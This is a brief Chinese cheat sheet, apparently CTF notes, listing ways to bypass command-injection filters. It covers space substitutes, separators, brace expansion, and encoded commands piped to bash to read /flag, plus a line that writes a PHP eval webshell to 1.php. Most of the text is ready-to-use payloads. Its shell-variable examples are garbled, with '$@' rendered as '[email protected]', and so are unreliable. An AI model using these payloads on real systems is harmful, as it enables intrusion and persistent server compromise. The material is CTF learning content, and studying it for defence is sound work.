命令执行汇总

https://blog.csdn.net/silence1_/article/details/96135760

① 空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

② 一些命令分隔符

linux中：%0a 、%0d 、; 、& 、| 、&&、||

windows中：%0a、&、|、%1a（一个神奇的角色，作为.bat文件中的命令分隔符）

③ 花括号的别样用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

{cat,flag}

④ 黑名单绕过

1、拼接绕过

比如：a=l;b=s;$a$b

上面的第二道题目也是利用偶读拼接方法绕过黑名单：a=fl;b=ag;cat $a$b

2、编码绕过

base64：

echo MTIzCg==|base64 -d 其将会打印123

echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex：

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct：

$(printf "\154\163") ==>ls

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

#可以通过这样来写webshell,内容为<?php @eval($_POST[‘c‘]);?>

${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

3、单引号和双引号绕过

比如：ca‘‘t flag 或ca""t flag

4、反斜杠绕过

比如：ca\t fl\ag

5、利用Shell 特殊变量绕过

例如，第一个参数是1，第二个参数是2。而参数不存在时其值为空。

[email protected]表示

比如：[email protected] [email protected]

ca$1t fla$2g

⑤长度限制

长度限制可以用文件构造的方式来绕过。

⑨ linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq、

原文地址：https://www.cnblogs.com/haozhizhi/p/12115265.html